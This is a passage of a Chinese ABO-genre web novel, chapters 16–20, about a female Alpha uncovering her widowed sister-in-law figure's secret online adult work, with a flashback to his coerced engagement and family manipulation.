一条白皙长腿无意绷直,浴袍底下有晶莹珠液蜿蜒流下,延展出旖旎的想象。
顺着她的目光,李维京看见盛莲,撞见他抓拢浴袍的双手,以及慌乱的眼神。
登时,女Alpha脸色更冷,信息素肆虐,直直压得粉发Alpha瑟瑟发抖。
“李莉莉。”
李维京连名带姓叫道。
她摘下冰丝手套,一下抽粉发女脸上。
这下抽得李莉莉呆立当场。
粉发女Alpha愣了半天,缓缓捂住脸,嘶的一声,感觉到被抽肿了脸。
“你!”
李莉莉生平顽劣娇小姐,哪里受过这种委屈,顿时又气又怕,喊了一下再说不出任何话。
不肯认输,她矛头调转,直接朝盛莲嚷嚷。
“到了她面前,你就开始装了!”
“真该让她看看刚才你那假装清高的嘴脸……”
话说到一半,李莉莉却撞上李维京黑洞洞的眼神。
她想起一桩传闻。
两年前,有暗恋者追求李维京,追至M国。
女Alpha住民宿,那追求者在门外弹吉他,且放音响扰民。
当时的李维京与人吃晚餐,道声不好意思,径直走楼上房间去。
M国允许居民有枪自卫。
从抽屉里她掏猎枪、组装,从窗户处瞄准,叩击。
轰——!
追求者的音响当即炸掉。
四散的印象碎片中,追求者惊恐抬头,发现漂亮高挑的女Alpha就站在楼上窗户,面无表情。
更绝的是,吓跑追求者以后,她把枪拆开、放回抽屉,再次下楼。
面对一桌的朋友,李维京微微一笑,致歉。
“抱歉,刚才吵到大家。现在没事了,我们继续吃饭。”
其冷静、果断,翻脸之快,情绪之稳定冷酷,前所未见。
在她黑如洞口的眼神里,李莉莉不觉得自己能全身而退。
“滚。”
不耍花腔,李维京直接吐出一个字。
“你、你等着!”
丢下这句狠话,她落荒而逃。
目送逃下楼的身影,维京关上门。
“嫂嫂,有没有事?”
说着话,李维京转头。
盛莲双手交叉搂着肩膀,脸色苍白。
听到她的声音,他低垂的目光才慌忙抬起,轻轻摇头。
他脚下,丝带滑落在地。
李维京上前,弯腰捡起来,递给他。
“嫂嫂,系上。”
“我不看。”
说着,女人转身,背对着Omega。
低声答应,盛莲接过腰带,缓缓缠绕在腰间。
腰带系得很慢,也系得不情不愿。
其实,他不在乎被看光,尤其是被眼前女人。
李维京想的又是另一回事。
她觉得是个机会。
“嫂嫂,我听说这个房子是你自己攒钱买的。”
李维京开了个头。
关于盛莲,私家侦探给了一些她之前不知道的消息。
比如现在他居住的房子,是从吴翠手里买下的。
吴翠见利弃义,又自私自利。
不难想象,盛莲买下这房子,会遭遇她怎样的吸骨敲髓。
如此一来,他的经济状况不好理所当然。
系腰带的手一顿,细细理着那朵蝴蝶结。
盛莲嗯了声,“是从吴阿姨那里买的。”
吴阿姨,指的便是吴翠。
“维京,李莉莉会不会回去告状,找你麻烦?”
原本见他坦诚,李维京要顺话题切口挖掘下去,却遭遇盛莲突如其来的关心。
“不会。她闹得这么一出,传出去更是丑闻。”
李维京只觉好笑,吴翠养的哪是强大的Alpha,分明是窝囊废。
“不过啊,她为什么敢这么对嫂嫂你?”
话题一荡,李维京假装不小心发现,“刚才她拿着手机,好像放着什么视频。”
“是什么啊?”
她语气故作无辜,杏仁眼睁得大大。
这种刻意,惹得盛莲委屈。
“你明明知道,她说发给了你一份。”
盛莲蹙眉,眉间染上脆弱的哀伤。
他低睫,再抬眼,一点点望向那双杏仁眼的深处。
“你,看了吗?”
“看了。”
啊了声,盛莲慌乱起来。
他抓住腰间绑好的丝带,手指抠着那朵蝴蝶结。
在女Alpha平静的目光中,前所未有的羞耻冲刷着他。
像是赤身暴露于人前。
下意识地,他勾住蝴蝶结。
最后一丝没有绷断的理智,束缚着他的动作。
盛莲听到自己结结巴巴地问道:“怎、怎么样?”
一瞬间,李维京少见地怀疑自己的耳朵。
她怀疑自己听错了。
然而,女人还是秒懂。
“嫂嫂?”
女Alpha脱口而出,语带错愕。
面对她的诧异,盛莲只是沉默。
李维京意识到,他很擅长隐瞒秘密。
稳住心绪,她试探地开口:“是为了什么?”
盛莲抬眼看了她一眼。
“如果我说,是为了钱,你会不会看不起我?”
听到这答案,李维京倒也不意外。
“吴翠那般贪婪,卖给你房子想来也不是友情价。”
她体谅他的难处。
低头勾着丝带,盛莲摇摇头:“不,不全是为了买房子。”
“那是?”
再询问,眼前的Omega不肯说,一味低头沉默。
他的倔强、坚强,以及沉默,构成了一个谜。
李维京极有耐心地等待,用手揪出一丝谜团,来揣测答案。
“总不能,是因为佳姐?”
一听这名字,盛莲猛地抬头,连连摆首。
他眼中有水光,摇晃得快碎了。
原来,维京还是觉得……
觉得自己爱着李佳。
从世俗来讲,盛莲被李家收留,长大成了李佳的未婚夫。
李家给了他一个容身之所,一个情感归处,所以他很感激,在李佳去世以后还坚持留在李家帮忙。
这份恩情顺理成章得让所有人都以为,盛莲会一心一意爱着李佳。
所有人包括李维京。
可盛莲清晰地明白,恩
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情与情感,完全不同。
“维京你是不是……”
“是不是以为,我做所有的事情都是为了李佳?”
他语气也颤抖得快要碎掉。
“我也有,你不知道的事。”
那个倔强固执的盛莲,如影子般再次出现了。
看着盛莲这副不甚熟悉的面孔,李维京抿住唇,不算高兴。
“当然,嫂嫂你多得是我不知道的秘密。”
“你从吴翠手里买下房子,这是个人的事,任何人包括我决不能就这事指摘你。”
“可是,哪怕为了还李家恩情,嫂嫂你也要明白,自己不必听命于吴翠。”
“再者佳姐走了七年,你要不想待李佳,直接断关系,我会妥善处理好后续事的。”
李维京逻辑清晰,说得条条有理,期间盛莲几番想张唇,又被女Alpha的气势阻住。
直到最后一句,Omega震惊瞪大双眼。
“原来你……”
“什么也不知道。”
盛莲忽然说道。
他细细抽了口气,极细极细,像是一根绷紧的线发出泣音。
李维京皱眉,不明白他没头没脑的话。
看着他那副难过的模样,女Alpha有些心烦,干脆一闭眼。
“嫂嫂,有事直说。”
她语调不算冷静。
一是不满盛莲隐瞒的各种秘密,二是亲人之间本就会把最柔软、最糟烂的部分展露给彼此,
面对盛莲,李维京并没有十分的耐心。
看着她烦得眼睛都闭上,盛莲眼皮颤抖,眼皮上的小红粒抖成一片红。
“祭拜回来的那晚上,维京你在哪?”
纠结万分,他终于问出来。
明知故问的答案,但是他就要问。
唰的睁开眼,李维京没想到是这个问题。
她眉头愈发皱得深,“这两者有什么关系?”
“我那晚在哪,决定了你现在回答问题的答案?”
女Alpha反问。
盛莲听出她语气里的不解、些许的恼怒。
然而,他还是缓缓点头。
“这个问题答案,对我很重要。”
虽然答案,他一早知道。
可是过去总有念想。
维京常年奔波,周游世界,自由如风,他只要等在原地,就会等到她偶尔的礼物,随性的联系。
那时候,他可以骗自己,在维京心里,自己跟其他人不同。
至于不同到哪个身份,家人或是长辈,他不愿深究。
可现在,维京跟别人过夜。
现实至此,连他那卑微到可笑的幻想,都要打破。
既然如此,那就彻底打碎。
盛莲不介意破罐破摔,更不介意亲耳听到的事实。
没什么比无爱的绝望更让他想死的了。
比起静待死刑的盛莲,李维京充满了不理解的烦恼。
她啧了声,抱胸审视起眼前的Omega。
他纤细的腰被裹住,像是一截丝带系好的顶级礼物。
湿润的头发贴着脸颊,勾勒出美丽柔和的轮廓,嘴唇润红,下颌精巧。
无可抑制地,她会想到李莉莉的那个AI视频。
无论真假,人们都更愿意相信他是搞情涩的。
因为他美得不无辜,泅红眼皮,诱人欺身啃咬;湿红嘴唇,丝缕唾液,水色亮晶晶。
想到这,李维京没来由地愈发烦躁。
“都什么时候了,嫂嫂你还在纠结这个?”
“这比李莉莉说你是社交网黄,更重要?”
盛莲浑身一震,眼睛张得大大,满脸惊讶。
17. 第 17 章
不得不说,李维京有李维京的冷酷。
她不顾嫂嫂颜面,干脆道破来的目的。
外面的黎明,接近破晓。
天色是鱼肚的死白,翻不出任何色彩。
惨白的光落在男人身上,盖住他过于复杂的神情。
他美丽的脸如面具遮住,唯有那双春漾漾的眼睛有光闪烁。
一瞬,李维京不消看,已经明白过来。
盛莲就是LS。
何况。
“怎、怎么样?”
盛莲竟然蠢得再次发问。
李维京哂笑了声。
“听起来,嫂嫂你还有点自豪?”
头发湿漉漉的,贴着盛莲的脸颊,如出水的莲,愈发清丽的美。
他脑海一片嗡然,问出口的话基于本能,毫无头绪。
可听到维京的嘲笑,他竟……竟然有些赧然。
伸手捋了下额发,盛莲沾上凉意的手抚上滚烫的额头。
身体微微发抖,不为其他,只为了莫名快意。
“我只是觉得……”
脑子乱糟糟的,盛莲说得很缓慢,“不太好。”
盛莲不满意那段视频。
那段视频里的自己一味模仿,戏做得假,毫无风情。
这种不够完美的东西,怎么能给维京看。
想法如此病态,露出的表面,却是语焉不详的话语,躲闪目光的心不在焉。
像是个拙劣演员,敷衍表演着此时该有的羞愤。
李维京偏头,脑后长发随之跟到一边。
杏仁眼冷锐,看着他不说话。
“盛莲。”
良久,她叫道。
自己的名字从女人红唇吐出,真像是一朵美丽的莲花。
男人答应。
“我不明白你现在的想法。”
“你好像全然不在乎网黄身份被我发现。”
李维京直白地点出现在的情况。
盛莲眼皮低垂,不想再演。
“如果我说,做这份工作不光是为了赚钱,也有其他原因。”
“那样,你会体谅我吗,维京?”
李维京双手抱臂,下意识抱紧点。
比起她的防备,盛莲倒是无所畏惧。
“是因为寂寞,我才继续这份工作。”
“这样,你会怎么看我,维京?”
他目光亮起来,像是春日的繁花。
·
“开始,我无意得知有这份工作。虽然不正当,但是为了买房子,所以我去做。”
“而在李家,你走了,没人在乎我,或者跟我说说话。”
说到这,他忍不住双手环住肩膀,感受到的还是经年累月的孤独与痛苦。
男人不堪重荷般歪倒在墙旁,整个身体靠墙壁撑着。
他牢牢抓住自己的肩膀,低垂着头像是认错,却不肯停下话语。
“我只能去寻求其他安慰。”
“酒精、游戏……我都尝试,还是觉得没有意思。”
他喃喃道,最后抬起头,看向维京。
“而至少,这个工作……网络那头会夸我做得好。”
说这话时,他眼睛里的春花盛放,美得令人避无可避。
分明是堕落的;
他却是高兴的。
盛莲吞咽了下口水。
按照过去的想法,他应当隐藏这些糟糕的想法,隐藏自己是不知羞的网黄。
可,为什么不呢?
维京已经跟别人有了肌肤之亲,他当个清清白白的长辈有什么意思?
就当这是报复吧。
报复自己那隐秘的愿望,报复现在不知情的维京。
想通以后,盛莲彻底高兴起来。
他抛下顾虑、道德、害羞,手摸索着腰间丝带。
“要,试试吗?”
女Alpha目瞪口呆。
哪怕见多识广,这一刻的冲击也让她表情忍不住裂开。
她木然从烟盒取出一根烟,木然叼住,点燃。
一根,又一根,星火不断。
盛莲坦白的话语,无疑对女Alpha造成强烈冲击。
李维京没想到禁欲保守的嫂嫂这样不为人知的一面。
指尖拈着截烟,看它呲呲静默燃烧。
杏仁眼一眨,带点罕有的茫然。
“试试什么?”
这个问题,同时把在场两个人问住。
盛莲勾住腰带,向下。
李维京上前一步,一把抓住他的手,眼疾手快拦住。
一个错位的动作,逼近的距离。
逼得两个人不得不近距离看着彼此的眼睛。
杏仁眼眨巴眨巴,迅速恢复平日的冷静。
“我刚开玩笑的。”
“盛莲。”
嫂嫂两字就在唇边,李维京却一时心虚,只觉得种种不正当,改了口。
“李佳姐离开以后,别说你,我也受了不少打击。”
一旦开口,她条理清晰,用理智把整件事的古怪刹住车。
“遭逢大变,没有人聊天纾解情绪,成天压抑自我,到了这个地步,没有伤害别人,也没有实质上伤害自己,你已经很坚强了
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,嫂嫂。”
杏仁眼里,映出男人的模样。
他看着这双黑白分明的杏仁眼。
看着自己的表情从绝望到空白。
最终,嘴角一撇,努力扬起一个苦笑。。
“如果不加最后两个字,我会更开心。”
“那,盛莲?”
看出他情绪的大起大落,李维京决意顺从此时的他。
盛莲努力笑着,哪怕笑得很惨。
刚才那一瞬的嫉妒烧空他的理智。
等理智回来,他想到真让维京追问下去,自己连最后的秘密也会招供。
可是,李维京只在乎她的亲人、家人,自己不过是勉强混进去的人。
盛莲不确定,不确定说出来会得到她的谅解。
“维京你,说得很好。”
他挤出这句话,无比落寞,也无比厌倦。
原来,再喜欢维京,他也不能完全信任她。
因为维京对他,不过是对待亲友的态度。
李维京松开腰带,往后退一步,为整件事画下正当的句号。
“剩下的事,就交给我。”
盛莲靠墙,无力起来。
他肩膀撑墙,慢慢翻转身,后背抵住墙,仰头望着客厅的天花板。
听见维京的承诺,他偏头,看向女Alpha。
天色渐亮,亮光却照不进这双空虚的眼睛。
最后,盛莲不堪疲倦,虚虚点头。
看着他疲乏地闭上眼睛,李维京两根手指搓了搓。
丝带的柔软,以及男人颤抖手掌传递的绝望伤心,逐渐在消失。
“盛莲。”
她忽然叫他。
盛莲脸偏过来,湿漉漉的水珠顺着脸颊蜿蜒而下,像是在流泪。
可实际上,刚才男人那般绝望、崩坏,也不曾有眼泪。
他太倔了。
李维京想。
等了很久,盛莲等不到维京的一句话。
他慢慢撑开疲惫的眼睛,语气细若游丝。
“还有什么事吗?”
“没有。”
原本是想问盛莲是否还有秘密隐瞒自己,但经过方才的冲突,李维京知道,问不出答案。
如果盛莲不想说,她一时也拿他无可奈何。
想想作罢。
“李莉莉那事,我会处理好。”
她再次重申。
盛莲虚虚点头,表情很平淡。
他压根不在乎。
头一次,李维京看着他,露出一点无可奈何的微笑。
她竟也抓不住他的想法。
18. 第 18 章
薄刃如水,素手破新橙。
修长有力的手指握着水果刀,亮白刀尖破开鲜亮的橙子,二瓣作四瓣,鲜甜的汁水溢开、挥发。
握刀的手挑去白色筋络、挖去籽,再下几刀,一瓣果肉成了小舟,做了艺术品。
收刀。
扯出巾纸,修长白皙的手擦拭干净。
安娜打着视频电话,无意瞥了一眼,即刻“哇”地大叫,赞叹不已。
尖翘的橙皮做底,亮汪汪的橙肉是小舟,也是亮起的灯火,盛放小舟的水晶盏流淌着蜿蜒的橙汁,也做了灯影桨声的河流。
这明亮而小巧的景致,像是秦淮河的辉煌灯火。
“爸妈!快来看!”
安娜手机镜头调转,焦点对准这小小艺术品。
“看看我最厉害的姐妹,你们赞不绝口的维京!”
对于李维京,安娜从不吝于赞美。
视频那头挨紧的两中年人,乐呵呵地看过来,对着女儿摆拍的橙子舟夸赞不绝。
“不愧是我另一个女儿小维京!”
安娜妈妈语气真挚而热情,笑吟吟地看着视频这边的女Alpha。
女Alpha才收了刀,冷峻气息慢慢沉淀下来,见镜头朝自己来,即刻堆了笑颜,讨巧卖乖道:“那多谢妈妈夸奖。”
“维京刚才有点不高兴?”
视频那头,安娜爸爸观察细致。
这对父母是BO恋。
安娜妈妈是个Beta,但经商才能不输于Alpha;安娜爸爸是Omega,个性温柔细心。
多年来,两人配合无间,横扫商场,感情甚笃也传为佳话。
“哪有。”
李维京矢口否认。
安娜爸爸也不戳穿,只笑吟吟道:“别勉强自己。”
“什么时候来家里吃饭?”
安娜妈妈纤眉一抬,“不许拒绝。前几天你可是帮我们谈了笔百万进账的生意。”
“牵桥搭线罢了。对于周家,百万进账也不过分分钟的事。”
李维京谦虚道。
“那也比安娜好。”
二老对视一眼,异口同声道:“我们安娜花百万买衣服,也是分分钟的事!”
调侃完自己女儿,两人在镜头里大笑起来。
安娜又羞又恼,嚷嚷着讨厌他们遂挂了电话。
犹自觉得不解气,跺脚气愤愤道:“这对爸妈,我送你好了。”
拈起一瓣橙子舟,李维京直接塞她嘴里。
“爸妈怎么能随便送人。”
她语气淡淡,剥开橙皮,咬住橙肉。
安娜兀自气愤愤,嚼着橙肉嘴巴鼓起,气鼓鼓得活像只兔子。
想到这,李维京不语。
她吃东西优雅,嘴唇蠕动不漏齿,悄然无声,像是通过咀嚼消化不良的情绪。
察觉维京情绪不高,安娜抬眼:“你不高兴,是因为LS?”
“他跟你嫂嫂盛莲,到底有关系没有?”
咀嚼变慢,一点点蚕食女Alpha的负面情绪。
吞咽完成,扯出纸巾抹唇,李维京恢复如常。
她摇头。
安娜骤然松了口气。
“其实我想过,如果真是同一个人,你嫂嫂肯定有说不出口的理由。”
“而维京你肯定会去挖掘这个秘密,而且不达目的誓不罢休。”
“那样,说不定你们两真伤了感情。”
安娜想法纯然,只担心维京和盛莲两人之间的亲情。
“是啊。”
李维京漫声附和,仿佛不当真。
然而,安娜看错了。
面对盛莲的所谓秘密,李维京没有追究到底。
后续她带嫂嫂去点了腰侧花朵似的疤,而盛莲也退了一步,说自己不再去当网黄LS。
这次,两人都点到为止。
李维京兴致还是不高。
再次抽出水果刀,刀尖雪亮,女Alpha从中看到自己。
“这雕刻手艺,还是几年前嫂嫂教我的。”
她忽然说道。
李维京与嫂嫂盛莲,也有过温馨时刻。
可是,方才安娜父母对她的揶揄,那般轻松快活,李维京想不出会发生在自己跟嫂嫂身上。
安娜不解。
见好友情绪不太好,富家千金招手唤来佣人,取来自带的拉菲,要跟她一醉方休。
此时,两人在李维京的郊区别墅,三层小楼,屋内横贯一颗古树躯干,百年老树茁壮生长,从天井处钻出去,一篷绿荫如这老树的头发,绿荫茂密,树影阴凉遮蔽住二楼阳台下的两人。
这处是她买回的祖产,地处郊区,不常来,但请人维护得很好。阳台木制地板,木制栅栏外用玻璃包裹,从阳台望去,底下是一汪碧蓝泳池。
苍绿、碧蓝,两种自然颜色在此融合,组成这惬意景致。
只可惜别墅主人无心看风景,一杯又一杯。
喝得好一会儿,李维京停下,单指点额,手掌虚虚拢在颊边,撇开风吹来的长发。
神情忧郁,又神秘。
“哎哎这深情忧郁的模样,我可不是那些小Omega,不吃你这套。”
安娜喝得半醉,嘴上嫌弃,却就着眼前美色一饮而尽。
李维京不搭理她。
雕刻手工、饮酒,都没能让她情绪平复。
她索性瘫在躺椅上,恨恨地思考,自己跟嫂嫂盛莲现在的问题,到底出在谁的身上。
安娜猜错了她这一步。
面对崩溃至此的盛莲,李维京终于退步,不再追究那个秘密。
“我感觉嫂嫂的秘密,不止一个。”
仰望苍老古树的绿荫,李维京不甘道。
举起手中酒杯,安娜不以为意。
“你嫂嫂不愿意说,那也没办法嘛。”
“你跟家人会有秘密吗,安娜?”
李维京忽然问道。
“有啊。我交的好几任恋人都不入流,但是我父母都不知道。”
“那些烂人都不值得你家人操心。”
面对李维京的吐槽,安娜没生气,附和道是。
“哪怕知道父母爱我如眼珠,但是把这些事暴
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露给他们,我也怕他们为此伤心,也为此看轻我。”
李维京偏头,纤眉微扬。
方才安娜与父母的温馨画面、揶揄话语犹在眼前耳边,现在的她却袒露自己的担忧。
“会吗?”
女Alpha喃喃道,似不信。
“你这种天之骄女不懂的啦。”
一旦吐槽她,安娜忍不住快言快语,“从小到大,你父母就没对你失望过。”
嗯了声,李维京把头偏到另一边,没说话。
风吹,头顶的绿荫摇晃,光点闪烁,如蝉鸣。
看着如蝉鸣收缩的光点,女Alpha突然想到嫂嫂的一次固执。
不久前,她们拜祭归来,嫂嫂盛莲再三强调不希望维京的父母担心她。
彼时,自己只觉不耐烦,嫌他多管闲事。
今日的李维京想,那嫂嫂的父母呢?
从事实上来看,那是抛弃他的一对烂人。
可盛莲他,是怎么看待他的父母。
思绪即将沉淀,醉了的安娜哗啦一下,推倒酒杯、果盘,趴在小几上,然后迷迷糊糊地笑。
“别说,你和你嫂嫂都是美人,难道彼此都不动心?”
情知她是醉酒后没话找话,李维京拍下躺椅的扶手,摇摇头。
“我没想过。”
安娜不死心,继续追问:“时时见你嫂嫂这种角色,你难道就没有动心过?”
皱着眉想了一瞬,李维京摇头。
顺手拈起一瓣橙皮丢安娜,“周安娜,你喝醉了。”
周家大小姐醉是醉,但表情动作比平日更生动。
她长吁短叹,抱怨李维京铁石心肠。
李维京不理醉鬼,坐起身端起酒杯,回想起那日。
“要试试吗?”
Omega眼中水光摇晃,层层涟漪荡开,折回、交叠。
像是小小的漩涡,吸引人一探究竟。
因羞耻的话语,男人脸颊绯红,睫毛颤动,眼皮上的红痣,更是如一粒红宝石般忽闪忽闪。
想到这,李维京不动声色地呷了口酒,缓缓咽下去。
这点水,像是浇在荒漠,令人愈发干涸。
“别乱开玩笑。”
李维京骤然接续话题,“嫂嫂他心里应该只喜欢李佳姐。”
“什么叫应该?”
“还有你突然强调,是无心,还是故意啊?”
安娜醉酒,思路和话语不复平日怂软,清晰直接到锋利。
心知醉酒的周大小姐难缠,李维京不接话了。
小几的水晶盘,有佣人端来的橘子,颜色亮丽。
心中一动,黑发女人握住一只橘子。
“如果他不是你嫂嫂,一切就不一样咯?”
安娜醉醺醺的,说话没头没尾。
李维京淡笑一声,她从不去设想如果。
眼前最重要的,是手里的橘子。她扒开来,取出瓣吃了口,汁水丰沛。
可惜味道浅淡,一点也不甜。
这时,女Alpha不由怀念,怀念起在嫂嫂家吃到的橘子。
19. 第 19 章
亮澄澄的橘子绽开,像是一盏小桔灯。
从中取出一瓣橘肉,盛莲放进嘴里,咀嚼得很慢。
橘子不甜。
他很久很久都没有吃到鲜甜的橘子了。
·
十一年前,水果园。
山中桃花、梨花刚刚盛开。
李家老太太翻看接种的新芽,而吴翠领着人过来了。
“妈,这是盛莲。您还记得他吗?”
手中翻弄新芽,见长势尚可,李老太太点头。
听到媳妇的话,戴着老花镜的老太太往旁瞅了瞅,语气不冷不热。
“哦盛家那孩子。”
“我记得他不养在本家了啊。”
单薄的桃花瓣透过去,少年也颇单薄。
他净白脸色,低垂首,只见一点点白嫩下颌,像是白月的新芽。
美得苍白,却忧郁。
听出语气里的斥责,吴翠赶快道:“妈的记性就是好。”
“前几年盛莲不都在我们家吗,我也习惯了有这么个孩子。我家佳佳也喜欢他。”
“您还送他出去读大学,这不耽搁两孩子的情感了嘛。”
“再怎么样,也不能耽搁读书。”
李老太太语气不咸不淡,“佳佳跟我亲,从来也没透露过对盛家孩子的喜欢。”
老太太的强势,让吴翠恨得无可奈何。
最后,她瞥了一眼盛莲,
“那还是让他自己跟您说。”
盛莲低垂脑袋,抬不起来。
他沉默得像只眠去的鸟儿,单薄得立在枝头,随时被风吹落。
见状,李老太太也生了恻隐之心,说话也柔和起来。
“盛莲啊,老太太我看着你长大的,跟我说句实话,你喜欢李佳吗?”
如梦初醒般,盛莲抬起头,僵硬着脸点了点头。
“我……喜欢她。”
这表情动作,可算不得喜欢。
李老太太玲珑心肝,一想便透。
“那两个人又来找你了?”
盛莲霍然抬脸,苍白着脸使劲摇头,连连说没有。
“我没说是你的父母。”
李老太太神情无奈。
美丽少年呆住,紧紧抿住唇,脸色越发苍白。
李老太太不住摇头,扫了一眼自家媳妇,眼神犀利。
“吴翠你从中造了什么孽?”
“哪有!”
吴翠矢口否认,强要盛莲点头。
“是你自己找上门来,求我不读书了要跟佳佳在一起,对吧盛莲?”
眼见媳妇如此无耻,李老太太神色骤变。
盛莲却猛地抓住她的手,两只纤白的手合拢,握住老祖母的一只手。
“老祖母,您说过把我当自己家的孩子。”
他神色哀求,眉间绝望愈发浓,
“求您,求您答应我和李佳的事。”
李老太太知道,是盛莲父母和吴翠这当母亲的无耻,把盛莲逼到这个程度。
然而,“老祖母”三个字一出口,她忍不住想起盛莲刚来李家的模样。
一个小小人儿,主动端茶倒水,努力堆笑。
让他叫声祖母,还没张口,小小人儿软白的脸蛋已经羞红。
低声唤了声祖母,小白面团子眼睛水汪汪的,眨呀眨,不肯哭。
那样一个坚强温柔的孩子。
老祖母不舍得当面拂这孩子的请求。
她唉了声,挥挥手,道以后再说。
随后,管家搀着李老太太走远。
目送人走,吴翠脸色瞬间变了。
“你人蠢笨了点,但这事做得还行。”
“当然,说是佳佳喜欢你,不过是给你个面子。”
“佳佳缺个贴心的人照顾,又是个Alpha,信息素融入不稳,作为Omega的你到时候好好受着。”
说着,她拨弄美甲的花瓣,语气挑剔。
“当然,你那大学别读了。什么雕刻专业,读到最后,欠我们李家更多钱,你还都还不了。”
盛莲一一听着,默默忍受。
听到这里,他嘴唇嗫嚅:“可不可以读一年大学再、再退学……”
“要死哦!”
吴翠一下戳中他额头,尖锐的美甲堪堪刮出一道伤痕。
“你爸妈要的一百万,你不要了?”
“我无所谓的。”
“反正到最后在黑赌场被断手断脚的,是你的父母。”
种种施压,十八岁的盛莲无可选择。
嘴唇蠕动数次,他最终放弃争取任何权利,脑袋埋得更深。
“那就听吴阿姨你的了。”
“既然如此,那当着老太太的面,你可以叫我声妈。”
像是施舍般,吴翠勉强认下盛莲当她女儿的未婚夫。
实则她真要坐实这门婚事,就要逼着盛莲承认死不松口,这样李老太太才不会继续管下去。
“李佳她那边……怎么办?”
最后,盛莲轻声问道。
冰凉的手指触碰到他的脸颊,长长的美甲横在他脸颊旁。
盛莲错愕地睁大眼,美丽圆润的眼睛有着少年的纤□□态,湿红嘴唇含着唇珠,唇峰颇具肉感。
美得清纯,又风骚。
吴翠拍拍少年的脸。
“跪下来哭也好,脱光了上床勾///引也好,你靠着这么张脸,总能打动我女儿的吧?”
说完,她不无用力地拧了把盛莲的脸。
然后扬长而去。
风吹过盛莲的脸颊,冰凉一片。
他僵硬抬手,缓缓捂住被拍打过的面颊。
一阵火辣辣,被彻头彻尾羞辱的痛苦。
没处可去。
盛莲没头脑似地乱逛,手始终捂住脸颊。
他捂住它,就像捂住自己的一处缺陷。
终于逛到没人的地方。
果园深处,一树梨花如雪,寂寞凋零。
捂着脸,盛莲呆呆地立在树下。
良久,他狠命用手掌擦脸颊,想要抹去污渍般抹去刚才的羞辱。
擦得久了,脸颊、手掌皮肤一片泛红。
可少年不觉得痛,还是下狠手擦拭。
风再次吹来。
吹拂着少年泛红的脸颊,他停住手。
忽然意识到,这一切都没有意义。
为了所谓父母,他必须如同吞咽黑色淤泥一样,吞咽下这一刻的侮辱。
从前,寄人篱下是无可奈何;现在,出卖自己也是情有可原。
这个时候,少年还没有办法感到甘心。
单薄的肩膀耸动着,既像是在哭,又像是在呕。
盛莲抽噎起来,梨花静静落下。
雪白梨花,似雪,如泪。
“——哇!”
梨花树上,猛地冒出个脑袋。
冷不丁的,盛莲吓得肩膀僵住,旋即一抖。
“呔,是何方妖孽?!”
定睛一看,是个小小少女。
少女双腿勾住主要枝干,身体倒吊下来,脸上戴着个活灵活现的孙悟空面具。
悟空面具眼睛镂空,露出她黑白分明的眼睛。
那双眼睛乌黑,滴溜溜转,看见盛莲的脸,忽然“啊”了声。
“这个哥哥,我原是见过的。”
这孩、孩子从西游到红楼,是怎么回事?
盛莲懵懵的。
他唯一能确定的,这孩子自己不认识。
不是讨厌的李莉莉,李莉莉在这,早跑来掀他裤脚、衣服。
面具戴得歪歪斜斜,猛然落下去。
少女好着急,伸长胳膊去捞,动作摇晃不稳,整个人落下来。
盛莲急忙伸手抱住她的腰。
重力猛坠之下,他险些脱臼,举不起她。
见状,少女也不要面具了,忙跳下地,围着他打转询问有没有事。
等待几分钟,盛莲抻了抻胳膊,摇头说没大碍。
少女担忧地皱眉:“我看不行,还是得找家庭医生看看。”
这老气横秋的语气,逗笑了盛莲。
他一笑,如莲花初绽。
少女看着他,也咧嘴笑起来。
“对啦,你是谁啊?”
面对主动的小小少女
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,盛莲不知道怎么开口。
在李家,他的身份其实很尴尬。
见他不答话,少女摇晃脑袋,她有一头海藻般的卷曲长发,像是个精美的洋娃娃。
一动起来,又说不出的古灵精怪。
“那我先自我介绍。”
“我是李维京。”
一听这名字,盛莲轻声啊了声。
他知道她,李家老太太最牵挂的孙女。从七岁起,她跟父母定居芬兰,近日回来。
据说这一家人几年都不曾回来,是因为李维京母亲身体不好,不适合长途跋涉。
“你叫什么?是谁啊?”
十三岁的李维京腿长手长,如抽条的竹子,脑袋到盛莲的肩。
可她仰脸看着他,毫无卑怯,大眼睛里盛满了小小少女的兴奋、好奇。
“我叫盛莲。”
“是……”
少年突然语塞,觉得好自卑。
他没有美满的家庭,更没有父母爱他。
只有一对烂人要求卖掉他来还债的人生。
叫李维京的少女有天真热忱的脸庞,这副模样,他大概一辈子也不会用过。
“是李佳的……未婚夫。”
他迟疑地说道,希冀为自己黑暗的人生涂抹一点亮色。
纵然这亮色,是借了李维京家族的光。
抬眸,盛莲惴惴不安地看着小少女。
他不算李家的人,身份也没被认同过,对着少女撒谎,只是为了一时虚荣。
李维京的眼睛亮了。
“嫂嫂!”
她开口叫道。
“哎?”
盛莲愣住,醒神过来急忙撇清,
“不、不是这么叫的……”
“为什么不是嫂嫂?”
被否认了,小维京也不难堪,眼睛亮亮的。
“佳姐姐的未婚夫,就该是我的嫂嫂啊!”
这个小少女居住国外多年,脑子搞不清楚传统的家族关系。
她只是看到一个如此美丽的人,喜悦于他与自己有了亲缘关系。
心生喜悦,她变魔法似地掏出一颗橘子。
“刚才我在树上摘的!”
“……”
盛莲无语又好笑,“这是梨树,只结梨。”
谎言被戳穿,小维京也不恼羞成怒,笑得眼睛弯弯,好可爱。
“为了让我遇见你,它结了独一无二的橘子!”
砰一下。
盛莲身体仿佛被什么击中,融化得不成样。
“你这小孩子……”
他喃喃道,没有说完。
小小少女不会觉得这是情话,她只是很自然地抒发自己的感受。
盛莲也明白,然而,他还是被她的话温暖到。
独一无二。
原来自己与别人的相遇,也会有美好的果实。
他与小维京分享了这颗橘子。
是他这辈子吃到最好吃的果实。
·
拈起橘瓣,塞进嘴里,青年咀嚼得很慢很慢。
他已经无法回忆起十一年前吃过的橘子甜味。
现实苦涩的淤泥,早已经一点点吞咽下去。
事至如今,盛莲有点想不起当时自己的不甘心。
为了活着,他愈发麻木起来。
低头。
他看着最新已接电话,终于鼓起勇气回拨。
“喂,吴阿姨。”
“您说的那件事,可以等家宴时候再作答复吗?”
橘子肉成了淤泥,堵在喉咙不上不下。
面对他恭敬的语气,吴翠不耐烦地打断。
“还等什么?”
“其实我无所谓,反正到时候死的是你母亲。”
话语依稀熟悉。
盛莲目光苍凉,想不起这话为什么熟悉。
“求求您,再等等。”
“刚才我已经转账十万,应该够这几天的医疗费。”
他机械似地求情,内心空洞。
钱到账,吴翠也松了口,表示可以再缓几天。
挂断电话,盛莲表情空洞,心脏空心到麻木。
20. 第 20 章
家宴当晚。
李维京迟到了几分钟。
她一只脚迈入李家祖宅的门槛,便被挡住。
“你来迟了。”
挡住她的,是门口迎客的李莉莉。
